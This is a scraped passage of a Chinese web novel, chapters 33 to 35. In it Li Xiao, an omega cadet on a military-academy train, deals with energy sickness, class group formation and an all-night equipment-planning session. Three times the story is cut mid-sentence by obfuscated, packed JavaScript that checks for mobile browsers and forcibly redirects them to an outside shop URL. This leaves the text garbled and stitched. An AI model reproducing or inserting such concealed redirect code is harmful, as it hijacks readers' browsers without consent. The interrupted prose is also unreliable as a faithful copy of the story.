“抱歉,我不该这么无礼的对待你。”她来到黎晓的面前,姿态与措辞一如童话中最高洁的骑士。 而黎晓脸贴在桌面上,手揣在衣袋里,整个人散漫得就像一根随手搭上去的棉毛巾。 黎晓猝不及防,甚至都没听懂她说了些什么。只睁大眼睛盯着她,尴尬的瞬间坐直。先前脸上的衣褶印还没全消,就又压出了又平又圆的红印子——像是故意给衣褶印加了个背景色。 尤利娅噗的又笑了出来。 黎晓满脸通红,“呃……”她是真不知该说什么了,“你怎么回来了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726863|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我想,你需要帮助——”尤利娅说,“你看上去状态不是很好。” 黎晓一时竟不知该不该承认。 “是导力不适症吗?你似乎尚未舒缓过来。” 黎晓想了一会儿,才有些迟钝的意识到——她眼前的症状其实也并未超出导力不适症的范畴。 “……好像是的。” “需要我帮你吗?”尤利娅看着她。 不知是不是错觉,黎晓总觉得她似乎也有些脸红。 直觉让黎晓没有急于点头——但不论出于理性还是情感,她似乎都没有理由拒绝这样亲切的建议。 而尤利娅似乎看出了她的迟疑,便解释道,“导力不适症是因外环境导力量子浓度过高,导致体内正回路生产导力效率提高,体内导力溢出值超出身体正常适应水平,在低信息素状态下负回路受激被动活跃,从而引起的不适症状。” 困倦令人反应迟钝。黎晓只是感叹她背书背得一字不差,就像看到了自己的影子一般亲切。 ……记得小时候老师提问,她也总是答得跟课本原文一字不差。老师无奈的说我知道你记忆力好但你能不能用“自己的话”来回答啊?可是,课本原文就是这么恰到好处。她每次想要言简意赅,就会不知不觉说得跟原文一字不差了。 黎晓点头,“嗯……” 尤利娅说,“所以,只要补充足够的导力,令负回路尽快平复下来,就能缓解。”她目光动摇片刻,“虽然有些难为情……但,那确实是最便捷有效的方法。”她再度坦率的看向黎晓,“所以,需要我帮你吗?” 补充足够的导力,黎晓想——虹水晶吗? 然而片刻之后常识便再度灌入她脑中——导力是可以通过体|液在身体之间传递的,而人体内粘膜吸收导力的效率远高于皮肤。而通过粘膜接触传递导力,安抚负回路最常见的模式,便是alpha和omega之间类似接吻等亲密行为。 她只觉得脑中的血气轰然爆沸,脸上滚烫,甚至无法和尤利娅目光对视。 尤利娅当然立刻就意识到——黎晓领会了。 这样的反应让尤利娅也有些失措——她当然已看出黎晓是个omega,这样的提议很可能会被误解为冒犯。但她并无任何不体面的目的。而对方既然选择进入军校,是否也能超出刻板的性别印象,从纯理性的角度看待她的提议呢? 但无论如何,她的家教还是令她羞愧了,“对不起,我不该这么唐突……” “不,”而黎晓飞快的回答,“我明白你的好意。” 她确实懂得尤利娅的本意——现在她有些理解为什么沙奎尔会说,尤利娅“很可怕”,他应付不来了。 她用手背贴着脸颊降低热度,“只是,我身上恰好佩戴着虹水晶,而我自己也会调息。多亏了你的启发,现在我知道该怎么应付导力不适症了。” 尤利娅不觉舒了口气。 她其实不是那么会被别人的看法和态度影响的人。 但也许因为黎晓是个omega吧……就算她认为该把她跟其他性别的同学一样,正常对待,可omega到底是特别的。一旦活生生的出现在面前,脸上带着睡痕,身上透着似有若无的甜香,温软可亲的说着毫无防备的话,总是让人莫名其妙就应对失当了。 她说,“这就好……” 而后她点了点头,权作道别。便再度和之前一样,孤高飒爽的离开了。 33. 荆棘与蔷薇(三) 尤利娅离开之后,黎晓便也起身前往医疗室。 列车一共十三节车厢,导力系在第十二节,医疗室则在最后一节。 虽是列车上配备的医疗室,但里面的器材却相当齐全。应急抢救舱甚至还简单区分了洁净通道和污物通道。 器械和密闭的抢救舱占据了医疗室大部分空间,再摆上医生的办公桌、看诊床和存放常备药品的柜子,就不剩多少落足地了。 ——但当然,盘腿打个坐调息养气的空间还是有的。 黎晓进医疗室时,里面只有个头发蓬乱、胡子拉碴的年轻人,正单腿盘在椅子上,抠着脚玩电脑。 听到门响,抬头瞟了黎晓一眼。大概是适应不了光线,就用抠脚的那只手推了推眼镜,顺道抽出嘴里叼着的戒烟糖。 黎晓有那么一瞬间,心生退意。 “导力不适症?” “……应该是。” 医生用他黑眼圈浓重的眼睛,目光锐利的盯了黎晓一会儿。 就又把他的戒烟糖塞到嘴里了。 回头一边散漫的敲起键盘,一边含混的给出医嘱,“去找个alpha亲一会儿,把负回路喂饱就行。” 虽然跟尤利娅说的是一回事,但黎晓还是不由自主的感到羞恼和冒犯。 但她也不可能为这种事、在这种场合起争执。 她没再多说什么。安静的在看诊床旁边的空地上盘腿坐下来,开始调息和冥想。 最初学习调息的时候,教练告诉她,这是武者的养气功夫。 当然,后来她才明白,教练口中的“气”其实就是回路里流淌的导力。 这也正是为什么成铭能轻易的察觉“气”的存在,她却始终觉得这东西玄之又玄,似有非有——因为作为一个omega,她体内的导力溢出值微乎其微。 但成铭能学会的东西,她总是较劲一般迎头赶上去。 纵使进展缓慢,也还是修习不辍。 然后终于有一天,她能清晰的感觉到“气”的存在了。 教练曾对她说,“努力就完事儿了,你不用质疑自己。成铭是个天才没错,可你比天才更难得。很多人都能指点成铭,却没什么人可以指点你。你就按你自己的步调,往前冲吧。” 她调息得很顺利。 低信息素状态下,负回路活跃能力有限。调集体内溢出的导力集中安抚,很快便令负回路回归休眠。 事实上只要适应了,大树海里的高富导环境对omega来说其实是很友好的。 ——毕竟omega比之其他性别,最大的劣势正在于导力匮乏、甚至饥渴。 几乎就在她调息完毕,睁开眼睛的同时,那个胡子拉碴的医生就抬手指了指一旁的纸箱子,“盐糖水,喝一瓶补充补充电解质。找张床躺一会儿,五分钟后没异感了就可以离开。” ——他的眼睛甚至都没离开电脑屏幕。 黎晓就默不作声,听从医嘱。 医生却突然问道,“吐纳调息是谁教你的?” “……老家那边武馆的教练。” “姓什么?” 黎晓拉开药品袋封口,吸了一口味道含混的饮料,不紧不慢的回答,“陈。” 医生敲击键盘的手停了下来,“陈?” 黎晓把剩下的饮料喝光,扔掉包装袋,“是。” 她离开医疗室时,医生又推了推他的眼镜,“不多休息一会儿了?万一再有症状呢?” 黎晓把着门回过头来。有那么一瞬间,她很想把心中不满一吐为快,但片刻静默之后,她最终还是一笑,“……找个alpha亲一会儿就能解决的问题,不算问题。” 她离开去调息的时间应该不算很长,不到一刻钟而已。 先前离开十二号车厢的人,却已经回来了大半。正三三两两凑在一起,焦急的盯着电脑屏幕。 不少人取出电脑之后,甚至都还没把行李箱放回去。 安杰洛、雷奥妮和管理系的沙奎尔、医学院的何塞也凑在一起。 车上座位两两并排,两排相对。沙奎尔为了看电脑屏幕,干脆就坐在行李箱上。 何塞一个人坐在对面。 “火车上有局域网。”黎晓在何塞身边空位上坐下后,有些百无聊赖的医学生就替她解惑。 ——光纤铺设进大树海的成本太高,而无线信号又无法穿透大树海上空的导力乱流,所以在大树海里的绝大部分地区,甚至绝大部分人类控制的区域里,都是无法连通万维网的。 但这也并不是大多数人选择把电脑扔进行李箱里的主要原因——主要原因是,他们没时间看电脑。 从军训开始的瞬间,所有人就都同时面临着两个不言自明的任务—— 融入这个临时搭建起来的军训班级,把它变成自己最初的人脉。 并且在这个临时搭建起来的团体里,脱颖而出。 到达基地正式开设接受训练后,所有一切行动,包括吃饭睡觉都将变成集体行动——每一个人的步调都是一样的,融入和竞争的规则一目了然。 但在这趟前往训练基地的火车上,这个规则却尚未生效。 竞争尚未摆在明面上,但同伴和竞争者都已经就位,融入也已然开始。 多余的话且不必说。 ……现在谁能最先把同伴找出来,谁就已经抢先了一步。 这个道理,黎晓自然也明白——毕竟她身边就有个把这一整套规则写在脸上的安杰洛。 所以,她也能猜到,大家突然都把电脑搬出来,必定是因为从电脑上找到了破局的捷径。 ——火车上有局域网。 去医务室看到医生在玩电脑时,黎晓就想到了这一点。 但是在局域网上联络,也需要所有人都打开电脑链接网络。 在大家都忙于线下交际,并且因为火车车厢天然分隔而导致交流不便的时候——能启发四处乱窜的陌生人乖乖回到自己的座位上,掏出电脑开始上网的那个人,在行动力和组织力上显然已经超出所有人一大截了。 话又说回来,一旦上网联络,所有东西又都摆在了明面上。 那种以信息不对等为前提的找人游戏,也就没什么意思了。 不过,安杰洛所奉行的那一整套规则,当然也不会因此就瓦解——甚至哪怕是受到丁点儿影响。 她便问团体里唯一一个没怎么进入状态的同伴,“我们班建群了吗?” 何塞还没回答,安杰洛却已经闻声抬起头来。 “还没有——但陆清源肯定在这趟列车上,大家都看到他了。” 黎晓没应声——没错,大家都看到了,甚至都能猜到他在哪节车厢。但这又怎么样?就连安杰洛都没有直奔一号车厢,去问他到底分到了哪个班。 毕竟帝都亚丁豪门林立,军事考核前二十名里,不知有多少家门雄厚的贵族子弟。谁还不是天命之子?谁不会对陆清源燃起竞争心?如果主动去问了,可陆清源没分到本班,却分来了一个视他为敌的小蓝血,那么,去问的那个人会不会受排挤? 哪怕没有空降来的帝都贵族,战术系其他的成员们就对陆清源没有竞争心吗?甚至不光战术系——对整个班来说,汲汲营营于陆清源在不在,是不是一种自轻自贱?都还没竞争过——甚至都还没开始训练呢,就先代表二十个人向区区一个紫瞳认输了,堕不堕落啊! 所以黎晓不想提陆清源——分到一个班又怎样,没分到一个班又怎样? “铁马镇一共有九个班,已经有七个都建群了。”她不接话,安杰洛便接着分析,“建群的肯定都是自认本班实力最强的战术生,这点其他班都已经证明了。陆清源还没出现,那他肯定在叶芝班和济慈班其中之一……” 他们有一半的概率能得到陆清源——只要再建一个群,就能尘埃落定。 偏偏这最后一个群,千呼万唤不出来。 悬而未决,着实令人焦躁。 安杰洛叹了口气,显然有些理解不了,“雪莱班都已经集合了,他可真沉得住气。” 成铭在雪莱班。 黎晓不由就问,“雪莱班建群的是谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726864|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙奎尔耸了耸肩,“朱丽叶-蕾雅·罗贝尔——还能是谁?” “她真的太厉害了。”雷奥妮忍不住插嘴,“她从1号车厢一直走到咱们12号车厢,对着名单把雪莱班所有人都找了出来,直接要求他们到2号车厢集合。” “不是一般的强硬,”安杰洛面色复杂,不知是讽刺还是感叹,“不愧是蓝血贵族。商量都没商量,就直接把自己当班长了。” “总之没分到我们班就好。”沙奎尔显然有些庆幸。 黎晓不喜欢这种论调,于是岔开话题,“对了,你们是怎么发现可以上网联络的?” “突然就有人挨个车厢喊话。”何塞说,“源头很难考察。” “但总之,肯定是故意给罗贝尔同学拆台来的。”安杰洛嗤笑一声。 沙奎尔也赞同的点头,“时机选得太恶意了。” 黎晓能够想象——她对这样的场景很熟悉。 当一方强制要求大家集合,而另一方却在同时宣布——上网沟通就行,不用勉强碰面时,怨气、不满立刻便会加倍涌向前者。 她原本以为上网联络,是通过类似罗贝尔同学的做法传开的。但确实,如果能拿到选课名单,直接对照名单把同伴召集起来,也就没必要把火车上有局域网这件事告知所有人了。 而当众喊一嗓子,也未必纯粹出于对罗贝尔同学的恶意。 ——毕竟,这样能尽快让所有同班同学联络起来,尽可能的消除掉自己的劣势。 当然,与其说消除掉自己的劣势,不如说消除掉罗贝尔同学的优势。 相较而言,黎晓更喜欢罗贝尔的方式。 倒不是因为她判断出,尤利娅确实就是朱丽叶-蕾雅·罗贝尔同学。 而是因为……这其实也是她自己一直以来的行事方式。 她没有成铭或者陆清源同学那样,无需开口便自然散发出的气场和魄力,振臂一呼就能云集响应。 为了达成目标,她必须最先开始奔走。为了让同伴跟自己一样行动起来,她必须主动去激励和催促。 然而这世上并不是所有人都喜欢像她这样,时时刻刻都充满斗志和行动力,仿佛永远也没有沮丧和退缩的选项。 大家有时也想安于现状,也想事不干己啊——集体的目标,那是什么?又没有问过我,凭什么让我去为之努力?你想要胜利?那你自己去拼呗,我又没有那么想赢。 明明就一路拼下来,赢下来了,可其实自始至终,黎晓都没能完全摆脱那种孤单又徒劳的感觉。 当然,二军大里没有安于现状的人,所有人都想赢。 可是对于罗贝尔同学的行事——安杰洛说“强硬”,沙奎尔说“可怕”。就连雷奥妮,虽然觉得厉害,但这声厉害里,恐怕也有些对不循常理者的惊恐吧。 大家并不想要这样的同伴。 而偏偏,她就是这么一个同伴。 那句“要不然我们自己来建济慈班的群吧”,最终还是被她咽了回去。 和晨星高中不同,二军大有陆清源、安德烈、尤利娅……许多个和成铭势均力敌的强者。其实并不需要她站出来去引领旁人。 这一次,就让最适合引导的人去引导,最适合辅佐的人去辅佐。 ——而她,就专心去做一些自己最擅长,最应该去做的事吧。 她其实,还是想要被别人亲近和喜欢的。 几乎就在她作出决定的同时,车厢里所有的电脑同时发出“叮咚”的响声。 所有人的面容在一瞬紧绷,短暂的确认之后,便深色各异的同时看向了他们这边。 而雷奥妮跳起来欢呼一声,兴奋的抱住了沙奎尔和安杰洛,“是我们班的,yeah,yeah,yeah……” 何塞把安杰洛的电脑拖过来。 屏幕上,十三节火车的简明结构图上,错落亮着九面旗帜。旗帜所在的车厢,便是各班选定的临时集合点。 济慈班的旗帜亮起在1号车厢,旗帜之下,陆清源共享了他的位置信息。 济慈班,就此,全员集合。 34. 荆棘与蔷薇(四) 医疗室。 黎晓离开之后,年轻的医生有短暂的失神。 关键时刻的操作失误,立刻反馈到正在进行的厮杀游戏上,全副武装的小人儿倒地后,黑白色调的地狱页面覆盖了他的屏幕,狼头的地狱主宰拿着小秤蹲在了小人儿的尸体旁——他的死亡次数已经超出复活上限,不能再重回战斗了。 队频里传来一串语音屏蔽词。 医生放开键盘,倚着椅背想要吐一口烟圈,夹出嘴里的小棍儿才发现是戒烟糖。 只好百无聊赖的塞回去。 残局很快结束。 队友发来私信,“你怎么回事,连掉两次链子,撸多了手抽筋吗?” “滚,我是有工作的人。” “艹艹艹艹艹!信不信老子一边干活儿,一边单手杀你十局?” 医生没有继续垃圾话,手指虚敲两下,终于发去消息,“我可能遇到陈队的徒弟了。” 那边秒回,“哪个陈队?” 随即瞬间了悟,“他在哪儿?他跟你联系了?” 片刻后,“为什么没跟我联系?怎么跟你联系的?消息给我看看!” “镇定。”医生不由有些头大,“他没跟我联系。你稳住,千万别往我这儿跑,吓着学生怎么办?” “滚滚滚滚滚!” 医生说,“其实……也不一定是他徒弟。” “你找抽就直说。” 医生解释,“陈队再怎么沦落,也不会跑去嘉洛琳教小崽子练武谋生吧?” “……”那边又回了一串省略号,片刻后,“滚。” 很显然是消沉了下来。 “我还是觉得他在大树海。”医生说,“在树海里当亡命徒,才符合他的性格。” 那边很快回了句不着边际的话,“傻雕复国团的事儿,不会也是骗我的吧?” “亚丁传来的消息,应该没假。”随即,“……但也未必就真。” “……” “总之是真是假,走完这趟就明白了。” 。 陆清源建起群聊之后,济慈班很快便在一号车厢集合起来。 但这次集合乏善可陈——因为大家前往一号车厢的目的,只是为了去看陆清源。 这个小组里除黎晓以外所有人,都默认了这样一个事实——若没有得到陆清源,这个班级未来的凝聚模式可以有无数种可能。可一旦得到了他,就只剩一种选择——一切布置和规划都以他为核心进行。 就连陆清源自己,也没考虑过其他可能。 所以,在陆清源指明方向之前,战术组其他人都不想擅自行动;至于支援组——安杰洛和雷奥妮眼中、脑中已经只剩下陆清源了。 不过这到底是这个班级第一次集合。 ——第一次集合能认全人就很不错了,不必强求有什么进展。 所以,虽然觉出战术组的气氛过于沉闷,而支援组的态度又过于殷勤,黎晓也什么都没说。 她很清楚问题出在哪里。 支援组这边她会提醒,但战术组的问题,就只能由陆清源自己去解决了。 解散离开的时候,陆清源却当众叫住了她,“黎晓。” 所有人都停住脚步,目光从四面八方聚焦向她。 黎晓只能感叹紫瞳alpha这蛮不讲理的强横影响力。 她就在人群的注视下回过头来,淡定的看着陆清源,“嗯。” 深紫色的眼瞳里明亮轻快,整节车厢的空气都因为他单独叫住一个人而停滞,陆清源只习以为常,“我个人的导力参考数据不是什么秘密,如果装备组有需要,可以随时向我索要。” ——装备师配置礼装,当然需要参考穿戴人的导力回路状况。 但也有些特殊出身的人物,譬如有着独特传承法则的古老名门,他们的导力参考数据就属于机密。 另外也有一些贵族门阀,讲究“安全”和“隐私”,拒绝向“不信任”的装备师提供数据。 ——帝都名门多,而名门一向烂规矩多。 这番表态有多及时和友善,黎晓也许不懂,安杰洛和雷奥妮却心知肚明。 安杰洛讶异无言。雷奥妮却瞬间振奋起来,抓住黎晓的胳膊,目光炯炯的催促她——赶紧把他的导力数据拿到手,装备组见者有份! 但黎晓确实没那么懂。 因为把自己的导力参考数据,提供给负责为你配置礼装的装备师,这不是理所当然的吗? ——她日常接触的,甚至整个嘉洛琳由上到下、由内而外,都是没什么贵族的。 洛珈是个叛徒,反叛的就是那些把她的妹妹当资源分配的贵族,她当然不会把贵族带到嘉洛琳。嘉南人据说是有贵族的,但也都被洛珈宰掉了。 他们嘉洛琳人,是真的不了解贵族圈的规矩和潜规则。 她能领悟到陆清源的善意,却真的没什么很特别的感受。 于是,她本意真诚的回答,在外人看来却多少有些不识好歹。 “好的。”她略作思索,“不过,装备组的方案,终究还是要根据战术组的需求来设计。除了导力数据,我们可能还得了解一下你们大致的战术构想和装备诉求。” 但至少陆清源领会了她的用意。他替她张目,避免多余的麻烦。可她显然更担忧团队的融合。公事公办的回应里,透出懂的人自然懂得的熨帖和善良。实在可爱得令人心情柔软。 他不由便微笑起来,“……我们会尽快讨论。” 黎晓便看向安杰洛和雷奥妮。 雷奥妮最先从怔愣中回过神来,忙道,“我们能旁听吗?说不定可以从装备的角度给一些建议。” 安杰洛也立刻跟进,“我们也可以做出几套装备方案,给你们讨论时参考。” 黎晓愣了一下,悄悄提醒,“赶不上吧?” 安杰洛笑容爽朗,“只是粗略的方案而已,主要提供参考思路。熬夜赶,还是能赶出来的。” 黎晓没有再争论。 回自己车厢的路上,雷奥妮兴奋的缠着黎晓的胳膊,商量最早什么时候去找陆清源要他的导力数据,才不会显得太唐突。而黎晓对此则不是很热衷——就算在火车上拿不到,等到了训练基地,确定了各自的分工之后,装备组也肯定能拿到数据。 何况,沙利叶说过——纸面上的数据其实没什么用。因为纸面数据反映不出回路的练度、习用度、受激灵敏度、潜力度……而这些才是配礼装的关键。要了解这些,得亲自上手去摸才行。 黎晓觉得很有道理。就像她在各种学术期刊上看了那么多礼装,制式装备的公开数据她甚至可以随口背诵。但没见过实物,没亲自去试用一下,她真的敢说她“会用”这件装备吗? 她反倒对安杰洛的承诺更在意一些。 ——装备组的方案,肯定不能丢给安杰洛一个人完成。 但是,20个人的装备方案,还是“几套”——哪怕只是粗略的提出思路,也不是熬个夜就能一天之内完成的。 一套装备方案,就算不必细致到队伍里的每一个人,也起码得大致配好战术核心、主要的掩护、进攻、辅助替补……等四五类装备。而他们现在甚至都还不知道,他们实际可以拿到的素材具体有哪些——所以还得考虑到素材的泛用性和可替代性。 按说,一个晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726865|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上搭配出一套可实现的装备方案,才比较有把握。 ……但是,她毕竟不是安杰洛。她不能以自己的水平,来推断旁人的能力。 所以到底还是没有提出质疑。 而安杰洛——他是故意的。 陆清源叫住黎晓的那一刻,装备组的主动权就已经不在他手上了。 但黎晓似乎没意识到这一点。 如果他提出的是合理范围内的方案,那么主导者肯定是黎晓。 他若想争,就必须提出只有他主导才能完成的方案。 而根据他这些天对黎晓的观察来看,只要他去做,黎晓就肯定不会故意妨碍他。 甚至,出于集体的考量,她还会尽力协助他。 温室里的花朵,就是这么单纯可爱。 他提出的方案固然困难,却也不是很离谱。 ——因为陆清源。 陆清源的存在,使济慈班的战术组出现了一个绝对的核心。所有的一切都是围绕着他进行的。在这个核心面前,其他人任何人都无关紧要,可以随意被替换。 也就是说,只要陆清源的礼装配置合理,其他人的礼装随便怎么搭配,都不难敷衍出一套过得去的“战术”。 ——而他作为一个装备师,也没有人会在战术搭配思路上苛求他。 所以实际上,他只需要精心准备一套可行方案。其他方案只需要考虑陆清源一个人,再配一套纸上谈兵即可。 从现在开始,一个下午加一个晚上,还是不难完成的。 何况—— “你们两个刚才好像都没怎么说话。” 临近10号车厢时,安杰洛进入正题,和沙奎尔说道。 沙奎尔苦笑,“谁叫我是管理系的。” 纯粹的培养军队里的技术官僚的专业,在20人的班级里、根本就不需要统筹后勤的军训里,能有什么用武之地? 安杰洛思索了一会儿,“其实,我觉得军训分组有些太随便了,学长们都说军训班级模拟的是实战小队,不同专业承担不同的分工。可是,20人的小队,真的需要专门的管理、情报、后勤成员吗?” 沙奎尔耸肩,“谁知道呢。” “会不会我们太想当然了。”安杰洛推测,“虽然我们不同院系,但其实我们根本都没上过专业课。导力系学生的装备能力,也未必就比管理系、医学院的强。” 沙奎尔笑起来,和何塞对视一眼。 “说这么多,其实就是想让拉着我们一起熬夜帮忙吧。” 安杰洛眉眼弯弯,双手合十,“拜托了!欠你们一个人情。而且,我说的也都是实话啊。体能、战术、战场急救、基础装备搭配和实用……这都是军训的基础项目。就算不是,练一练也没害处啊!” 说着便又看向黎晓,眨了眨眼睛,“对吧?” 黎晓:…… 沙奎尔和何塞也同时看过来。 黎晓想了想,“我觉得师兄师姐应该没骗我们,”安杰洛微微眯起眼睛,黎晓假装没看见。只把自己的想法告诉沙奎尔和何塞,“你们的专业肯定也有自己的分工,但未必是在班级内部——这次军训,各班之间应该不纯粹是竞争关系。”沙奎尔和何塞也不由沉思起来。 黎晓的话风却随之一转,“但,反正今晚你们也没有别的事可做吧?来嘛——哪怕是为了你们俩自己的礼装!” 沙奎尔和何塞同时失笑。 “好吧,反正也挤不进战术组。”沙奎尔点头。 “我应该是能挤进去的。”何塞抗议了一句,便也随之跟了上来,“我不熬夜,只帮到零点。零点一到,你们必须让我睡一会儿……” 35. 荆棘与蔷薇(五) 凌晨三点钟,12号车厢。 车顶灯已经关闭。高高的椅背被放平下来,经过简单展开、折叠变形后,成为临时的行军床。 虽说毫无隐私可言,然而进入大树海之人,谁不知此处行路艰苦?学生们无人在这种细枝末节上矫情,为养精蓄锐,早早的和衣而眠。 一眼望去井然有序。 只有临近车尾的座位上,有两个人并排坐在同一张座位上,各自对着一台电脑,指尖如飞,正专注的收尾、汇总最后的方案。 安杰洛没有赌输——甚至还赌赢了。 二军大学生的素质之高超乎他的预料。 他原本以为最多也就能完成一套高质量方案,但头脑风暴一旦打开,各种巧思妙想随之而来,而团队里的每个人,居然都能就别人的思路给出十分靠谱的建议。雷奥妮对各种回路都如数家珍,给出大致的数据要求之后,立刻就能举出合用的素材,而黎晓居然不假思索的就能挑出其中可配套运行的回路。一开始安杰洛还会偷闲计算一下她的搭配是否合理,接连几次发现她挑出的已近乎是最佳可行方案之后,就只能暗暗心惊于她的计算能力。 不过他倒也不输,计算力可以通过工具来弥补,情商却不行。——黎晓实在太不接地气了。不知是为了炫耀自己见识广博还是计算力出众,她时不时就会挑出些数据契合得完美无缺,实际上却过于高端和生僻,要么尚未服役要么已经停产,基本不可能会提供给他们的回路。让除她和雷奥妮之外三个人,心情都颇为复杂。 但对他来说,这种不讨人喜欢,也是黎晓纯真可爱的地方。 总之,明明就是以打开思路为目的的头脑风暴,按说会有许多灵光一现却难以深入的低效讨论。但在雷奥妮和黎晓的配合之下,那些在他看来导致“难以深入”的困难像黄油遇到了热刀子,迎刃而解。灵光一现在毫无冗余的讨论中,一路丰满成可以示人的雏形。 过程太过于顺利和高效,以致于敲定四套方案之后,他们甚至还有时间推敲一下具体的细节。 等到了约定让何塞“睡一会儿”的时间,桌面上已经堆满了草图。 何塞和沙奎尔直接合衣睡在了12号车厢——这一晚并不只有他们这一个组在赶工,雷奥妮的邻座恰好也去11号车厢的机械系帮忙了,倒是刚好有空床。 而安杰洛主动承担了收录整理任务。 黎晓却也如他所料一般,没有把所有杂活儿都扔给他。反而主动和他分工整理,一起熬到了现在。 这种团队带领起来,实在过于舒适了。 以致于整理将到尾声时,他伸了个拦腰,扭头看到电脑柔和的背景光映照在黎晓略显疲惫却依旧专注干净的面容上,居然有那么一瞬间的失神。心想她毕竟是个女孩子,不该故意把图多的部分塞给她的。 但这种自责随即便烟消云散。 因为黎晓也停住手,松下了紧绷的神经,开始活动她有些僵硬的手指和肩颈。 “……做完了?” “嗯。”黎晓简简单单的回答。故意放轻的声音柔和却安定,“我这就发给你。” “……你好快啊。” 黎晓又露出了那种每次他故意逗弄她时,她都会露出的“这个人不会是在找我的茬吧”的烦闷表情,“我们差不多快。” 没,安杰洛想,你比较快,因为我使坏给你加量了。 “我习惯了。”他当然不会实言以告,但也许是因为熬夜使人脆弱,他也没骗她,“——我读的是贵族高中,奖学金只覆盖学费,但家里穷得连生活费也拿不起。我就靠给那帮纨绔写作业、报告、论文赚生活费……最多一次班上有12个人找我代写同一份作业。我赶了三天,围绕着同一个课题赶出13份内容角度完全不同的报告。最后得了12A。” 黎晓有些讶异和不知所措的看着他。 温室里的花朵——安杰洛想,如果她敢质问他怎么可以帮人作弊,那他只好帮她重塑三观,把她坑到死了。 但黎晓居然没有问。 “……你很厉害。”她最终这么感叹。 “你呢?”安杰洛没忍住又逗了她一句。 “……我?”她张了张嘴,终于还是把话题接了过去,“我写的小组作业比较多。” 安杰洛失笑,“懂了懂了。四人分pa的作业总是有三个人毛都交不上来——你是那个在最后关头一人写全份的倒霉鬼。” 黎晓没有反驳,算是默认。 “可我听说你们学校学风很好啊?” 黎晓虽然明知他又在找茬,却居然没太嫌弃他,“……嗯。但也有不爱写作业的。” ——而这种组员谁都不愿带,七推八阻最后八成就硬塞给她这个专业兜底的了。 太像是她会遇到的事了。 安杰洛一笑,“……看来我们也不是毫无共同话题。” 文件已经发送完毕,黎晓阖上电脑,没有继续和他探讨他们之间可能会有的共同话题,“你查收一下吧。” 安杰洛打开问价飞快扫了一眼——该有的图都构建、标注得一清二楚,排版十分漂亮。 “只剩一张床了,你躺下睡会儿吧。”他难得自觉的说,“我再检查整合一遍,看看有无错漏。” 座椅和靠背各自成床,却未彻底分开。椅背那一半已经睡了雷奥妮,座椅这半肯定是她睡比较妥当。倒也没什么可谦让的。 但是她躺下的话,安杰洛就只能去坐行李箱了。 “天快亮了。”黎晓便打了个哈欠,抱起靠枕拍了拍,直接趴在了桌子上“躺下也睡不好,我还是眯一会儿吧。” 安杰洛抿着唇笑,没有再劝。 黎晓找了找姿势,最终抱着靠枕脸朝外安定下来。 玻璃的车窗几乎彻底被外层的钢铁装甲盖住了,只留下三条窄窄的排气阀,正和她此刻的视线相齐平。 天还没亮,但车内灯光几乎已经全部关闭。车窗玻璃上就只隐隐映着一点电脑屏幕的微光,已可以看得清外面一排护路的梓木了。 梓木是唐人文化里一种特殊的树木,据说代表着家乡。小的时候黎晓还疑惑,为什么这种只在大树海里才能成活的树木,却有着代表“故乡之木”的名字。不过长大后知道了这种树木的由来,也就明白了。 众所周知——大树海中人类能够安全生存的地区,只有那一棵棵被不惜代价的攻略下来的“树王”所覆盖的范围。 而梓木是折取“树王”的枝桠培育成的树木。 梓木林所覆盖的范围,不受大树海朝夕变幻的地形影响,不受日常兽潮所侵袭。是“树王”庇护范围的延伸,流浪的旅人可以安心憩息之处。 将“树王”的扦插树称为梓木,其实比将“树王”称之为“树王”更为妥帖——事实上,偶尔也有唐语写成的小说和诗歌里,会把“树王”称为“社树”。 不过,若非唐人,是很难理解这称呼背后的温情的。尽管官方名称就是唐语的“梓木”在通用语里的音译,但外人似乎普遍把这个名字理解成了唐语里的同音词“子木”。 一整天加上大半夜的疾驰之后,路程早已进入后半段。 沿途两个树海小镇都已经过去,他们现在所处的位置,正是树海攻略区的腹地,冒险者和淘金客最活跃的区域。 继续行驶九个小时左右,便将到达攻略区最前沿的人类城镇——铁马镇。 黎晓望着窗外一棵棵掠过的梓木,不知为何竟一时茫然。 大概是因为“梓木”这个名称吧,她想。明明身处帝国的最北端,距离故乡嘉洛琳最遥远的地区,她却莫名有种回到家乡的安心感。……似乎很多书里都提到过这种初入大树海时涌上心头的,与凶险的现实截然相反的安心感受。 心理学家把它称之为什么来着? 迷迷糊糊之间,她似乎已然入梦。 因为她又看到那个漂浮在柔光中的少女。这一次那少女近在眼前,她却在梦中沉睡——真奇怪啊,黎晓想,人在梦中能既知晓自己在沉睡,也同时看到身外的景象吗? 而后少女冰冷的指尖抚向她的脸颊。 “快醒来。”她听到少□□美如歌的声音,在她耳边的催促道。 黎晓睁开了眼睛。< 